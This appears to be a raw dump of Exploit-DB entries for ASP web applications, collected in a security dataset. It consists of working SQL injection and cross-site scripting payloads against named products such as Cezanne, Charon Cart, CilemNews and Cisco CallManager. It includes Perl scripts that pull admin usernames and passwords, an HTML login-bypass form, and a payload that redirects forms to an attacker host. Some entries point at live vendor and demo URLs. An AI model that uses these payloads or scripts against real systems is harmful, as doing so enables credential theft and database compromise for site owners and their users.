deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31646
Description: Cezanne 6.5.1/7 - 'home.asp?CFTARGET' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28772/info
  
Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/home.asp?CFTARGET=";}alert("S21sec")</SCRIPT>%20-->
Exploit-DB #31649
Description: Cezanne 7 - '/CznCommon/CznCustomContainer.asp?FUNID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28773/info
 
Cezanne Software is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Cezanne 7 is vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;waitfor%20delay%20'0:0:05';--STRING:;waitfor%20delay%20'0:0:05';--
Exploit-DB #31648
Description: Cezanne 7 - 'cflookup.asp?FUNID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28773/info

Cezanne Software is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cezanne 7 is vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CFLookup.asp?FUNID=7302015;waitfor%20delay%20'0:0:20';--&InIFrame=1STRING:;waitfor%20delay%20'0:0:20';--
Exploit-DB #31650
Description: Cezanne Software 6.5.1/7 - 'CFLogon.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28774/info

Cezanne Software is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected.

The identified parameter is: "SleUserName"

URL: https://www.somesite.es/cezanneweb/CFLogon/CFLogon.asp
    (Use a Proprietary Account)

HTTP METHOD:POST
STRING:&#039;)"><script>alert("S21sec")</script>
Exploit-DB #7412
Description: cf shopkart 5.2.2 - SQL Injection / File Disclosure
Type: webapps
Platform: asp
Date: 2008-12-10
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF SHOPKART V5.2.2
#download : http://www.cfshopkart.com/dl/cfshopkart522.rar
#Demo     : http://www.cfshopkart.com/demos/cfshopkart522/

###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--
http://www.cfshopkart.com/demos/cfshopkart522/index.cfm?carttoken=[PII_REDACTED]7815&Action=ViewCategory&Category=(bl!nd)


--=[DATABASE DISCLOSURE]=--
http://www.cfshopkart.com/demos/cfshopkart522/databases/cfshopkart52.mdb

#Greetz For DraGoBalti`

###########################################################################

# milw0rm.com [2008-12-10]
Exploit-DB #7415
Description: CFMBLOG - 'categorynbr' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-10
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CFMBLOG
#download : null
#Demo     : http://www.cfmblog.com


###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--

http://www.cfmblog.com/index.cfm?categorynbr=2+and%20substring(@@version,1,1)=5


###########################################################################

# milw0rm.com [2008-12-10]
Exploit-DB #7414
Description: CF_Auction - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-10
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF_AUCTION
#download : null
#Demo     : http://www.cfwebsite.com/


###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--

http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=5   TRUE
http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=4   FALSE
http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=3   FALSE


###########################################################################

# milw0rm.com [2008-12-10]
Exploit-DB #7413
Description: CF_Calendar - 'calendarevent.cfm' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-10
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl


use HTTP::Request;
use LWP::UserAgent;



print "\n ********************************************\n";
print " * CF_Calendar Remote SQL Injection Exploit *\n";
print " *       By AlpHaNiX                        *\n";
print " ********************************************\n";
print " ********************************************\n";
print " * usage : perl exploit.pl target           *\n";
print " *  contact : AlpHa[AT]HACKER[DOT]BZ        *\n";
print " ********************************************\n";



$alpha1 = "calendarevent.cfm?calid=";
$alpha2 = "0+union+select+1,concat(0x20616c7068616e[PII_REDACTED][PII_REDACTED],username,0x20616e[PII_REDACTED]73776f[PII_REDACTED]203a20,password,0x20616c7068616e[PII_REDACTED][PII_REDACTED]),3,4,null,6,7,8,9+from+login";



if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target = "http://".$ARGV[0]."/"; }
print " Working on it\n\n";

my $alpha3 = $target.$alpha1.$alpha2;
my $request   = HTTP::Request->new(GET=>$alpha3);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
        my $res   = $response->content;
        if ($res =~ m/ alphanixwashere (.*)and password is : (.*) alphanixwashere /g) {
                my ($username,$passwd) = ($1,$2);
                print "Username : $username \n\n  [CREDENTIAL_REDACTED]  \n\n"

        }
        else { print " operation failed \n\n"; }
}
else { print "  Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2008-12-10]
Exploit-DB #7416
Description: CF_Forum - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-10
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF_FORUM
#download : null
#Demo     : http://www.cfmsource.com/forums/htdocs/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.cfmsource.com/forums/htdocs/forummessages.cfm?topicnbr=2&categorynbr=2%20and%20substring(@@version,1,1)=5

#Greetz For

###########################################################################

# milw0rm.com [2008-12-10]
Exploit-DB #10507
Description: Charon Cart 3.0 - 'ContentID' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (review_update.asp ContentID) Blind SQL Injection Vulnerability
[~] Vendor: www.charon.co.uk
[*] Software: charon_cart_v3
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 4:46 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/charon_cart_v3/adminsection/review_update.asp?ContentID={bL!ND}


[*]BL!ND sql

7Ru3 : review_update.asp?ContentID=1 and 1=1

f4L53: review_update.asp?ContentID=1 and 1=2


N073:

! 7h!/\/k u can f!nd m0r3

just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #2387
Description: Charon Cart 3.0 - 'Review.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-17
Author: ajann

Exploit:
Vulnerability Report
*******************************************************************************
# Title  :  Charon Cart v3(Review.asp) Remote SQL Injection Vulnerability

# Author :   ajann

# Script Page : http://www.charon.co.uk

# Exploit;

*******************************************************************************

###http://[target]/[path]/Review.asp?ProductID=[SQL HERE]

Example:

//Review.asp?ProductID=-1%20union%20select%20CustomerPassword%20from%20Customers%20Where%20CustomerID%20=%201
//Review.asp?ProductID=-1%20union%20select%20CustomerEmail%20from%20Customers%20Where%20CustomerID%20=%201
Email and Password ==> login.asp [L0gin P4Ge]

Columns;
"""""""""""""""""""""
CustomerID
"""""""""""""""""""""
CustomerEmail
"""""""""""""""""""""
CustomerPassword
"""""""""""""""""""""
ShipCountry
"""""""""""""""""""""
Phone
"""""""""""""""""""""
.........
"""""""""""""""""""""
....
"""""""""""""""""""""
# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-17]
Exploit-DB #9612
Description: ChartDirector 5.0.1 - 'cacheId' Arbitrary File Disclosure
Type: webapps
Platform: asp
Date: 2009-09-09
Author: DokFLeed

Exploit:
====================================================
Advisory No.: ISNSC-0910
=============
ChartDirector Critical File Access

Information
======
Author: DokFLeed
Program Affected: http://www.chartdir.com for .NET
Version: 5.0.1
Severity: Critical.
Type of Advisory: Mid Disclosure.
Affected/Tested Versions: Random

Program Description
==================
Widely used Chart Component on Financial & Stock Trading websites

Overview
=========
The query variable "cacheId=" is not sanitized, it will can allow critical files download

Proof Of Concept
================
?ChartDirectorChartImage=chart_WebChartViewer1&cacheId=/../../../../../../../../windows/win.ini

Solution/Fix
============
Upgrade to latest Chart Dir or apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2):
http://www.advsofteng.com/netchartdir501p2.zip

Vendor Status
============
The problem you mentions affect ChartDirector for .NET.
The current version of ChartDirector for .NET on our web site (Ver 5.0.2) already has this issue fixed. So this issue no longer occurs with the current version of ChartDirector for .NET.
For people using earlier versions of ChartDirector, it is suggested they upgrade to the latest version. They may also apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2):
http://www.advsofteng.com/netchartdir501p2.zip

Reference
============
http://dokfleed.net/duh/modules.php?name=News&file=article&sid=48

# milw0rm.com [2009-09-09]
Exploit-DB #29336
Description: Chatwm 1.0 - 'SelGruFra.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-24
Author: ShaFuq31

Exploit:
source: https://www.securityfocus.com/bid/21732/info

Chatwm is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Manual connect :

Go to Admin Panel Login -----> http://www.example.com/[path to script]/login.asp

Remote connect :

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title>
<center>ShaFuck31 - LiderHack.Org</center>
<FORM NAME=giris ACTION="http://www.example.com/d/asp/SelGruFra.asp" METHOD=post>
<table align=center>
<td>Kullanici Adi:</td><td><INPUT NAME=txtUse class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td>Sifre:</td><td><INPUT NAME=txtPas TYPE=text class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td>
</tr></table></form>
Exploit-DB #3210
Description: chernobiLe Portal 1.0 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-27
Author: ajann

Exploit:
*******************************************************************************
# Title   :  chernobiLe Portal 1.0 (default.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# $$      :  Not Free,Private


# Info    :  /*
            Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin
            Fakat hala birsey bulmus gibi bazi sitelerde bu raporlarin basligini
            aciyorsun.Urastigin konuda bari acik birakma.Havani atmaya dvm et.
            *\

*******************************************************************************

[[SQL]]]

http://[target]/[path]//default.asp (POST Method) [SQL]

Example:

Method: One Char Brute Force Technique

First,Please Register Before:

User:[username]'/**/and/**/(substring((SELECT/**/user_code/**/FROM/**/tblAuthor/**/WHERE/**/username='targetuser'),1,1))='A'/*
Pass:[userpass]

If Login True Then First Character = A
elSe Continue...

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27]
Exploit-DB #29240
Description: Cilem Haber Free Edition - 'hata.asp?hata' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-12-08
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/21511/info

Ã?ilem Haber Free Edition is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path to script]/editor_haber/hata.asp?hata=[XSS]
Exploit-DB #1562
Description: CilemNews System 1.1 - 'yazdir.asp' haber_id SQL Injection
Type: webapps
Platform: asp
Date: 2006-03-07
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Usage: cilem.pl <victim> <directory>
#Original Advisory: http://www.nukedx.com/?viewdoc=10
#googledork [ inurl:yazdir.asp?haber_id= ] 2.140 pages...
use IO::Socket;
if(@ARGV < 2){
print "
+***********************************************************************+
+Welcome to CilemNews System <= 1.1 (yazdir.asp haber_id) SQL-inject xpl+
+                   Usage: cilem.pl <victim> <directory>                +
+                       Example: cilem.pl sux.com /                     +
+                 googledork [ inurl:yazdir.asp?haber_id= ]             +
+                 Method found & Exploit scripted by nukedx             +
+***********************************************************************+
";
exit();
}
#Local variables
$cilemserver = $ARGV[0];
$cilemserver =~ s/(http:\/\/)//eg;
$cilemhost = "http://".$cilemserver;
$port = "80";
$cilemdir = $ARGV[1];
$cilemtar = "yazdir.asp?haber_id=";
$cilemfinal = "admin/giris.asp";
$cilemxp = "1%20union%20select%200,admin,sifre,0,0,0,0,0,0,0,0,0,0,0%20from%20ayarlar%20where%20admin=admin";
$cilemreq = $cilemhost.$cilemdir.$cilemtar.$cilemxp;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $cilemserver\n";
$cilem = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cilemserver", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $cilem "GET $cilemreq\n";
print $cilem "Host: $cilemserver\n";
print $cilem "Accept: */*\n";
print $cilem "Connection: close\n\n";
print "+ Connected!...\n";
while($answer = <$cilem>) {
if ($answer =~ /font-weight:700\">(.*?)<\/b><\/td>/){ 
print "+ Exploit succeed! Getting admin's information.\n";
print "+ ---------------- +\n";
print "+ USERNAME: $1\n";
}
if ($answer =~ /(.*?)<\/font><\/td>/) { 
print "+ PASSWORD: $1\n";
print "+ ---------------- +\n";
print "+ Lets go $cilemhost$cilemdir$cilemfinal and\n+ Login with this information. \n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /Internal Server Error/) {
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
if ($answer =~ /number of columns/) { 
print "+ This version of CilemNews is vulnerable too but default query of SQL-inject doesnt work on it\n";
print "+ So please edit query by manually adding or removing null datas..\n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-03-07]
Exploit-DB #39187
Description: CIS Manager - 'email' SQL Injection
Type: webapps
Platform: asp
Date: 2014-05-16
Author: Edge

Exploit:
source: https://www.securityfocus.com/bid/67442/info

CIS Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/autenticar/lembrarlogin.asp?email=[SQL Injection]
Exploit-DB #32660
Description: CIS Manager CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2014-04-02
Author: felipe andrian

Exploit:
[+] Sql Injection on CIS Manager CMS
[+] Date: 01/04/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://www.construtiva.com.br/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: default.asp
[+} Dork : intext:"Powered by CIS Manager"
[+] Exploit : http://host/site/default.asp?TroncoID=[SQL Injection]
Exploit-DB #28061
Description: Cisco CallManager 3.x/4.x - 'Web Interface 'ccmadmin/phonelist.asp?Pattern' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-19
Author: Jake Reynolds

Exploit:
source: https://www.securityfocus.com/bid/18504/info

Cisco CallManager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the web-interface to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting administrative user in the context of the affected site. This may help the attacker launch other attacks.

http://www.example.com/CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert(document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList=
Exploit-DB #28062
Description: Cisco CallManager 3.x/4.x - 'Web Interface 'ccmuser/logon.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-19
Author: Jake Reynolds

Exploit:
source: https://www.securityfocus.com/bid/18504/info
 
Cisco CallManager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the web-interface to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting administrative user in the context of the affected site. This may help the attacker launch other attacks.

http://www.example.com/CallManagerAddress/ccmuser/logon.asp?userID=&[CREDENTIAL_REDACTED]="><script>for (i=0; i<document.forms.length; i%2B%2B) document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!--
Exploit-DB #30077
Description: Cisco CallManager 4.1 - Search Form Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-05-23
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/24119/info

Cisco CallManager is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this vulnerability could allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Cisco CallManager 4.1.1 is reported vulnerable; other versions may also be affected. 

https://www.example.com/CCMAdmin/serverlist.asp?findBy=servername&match=begins&pattern=[xss]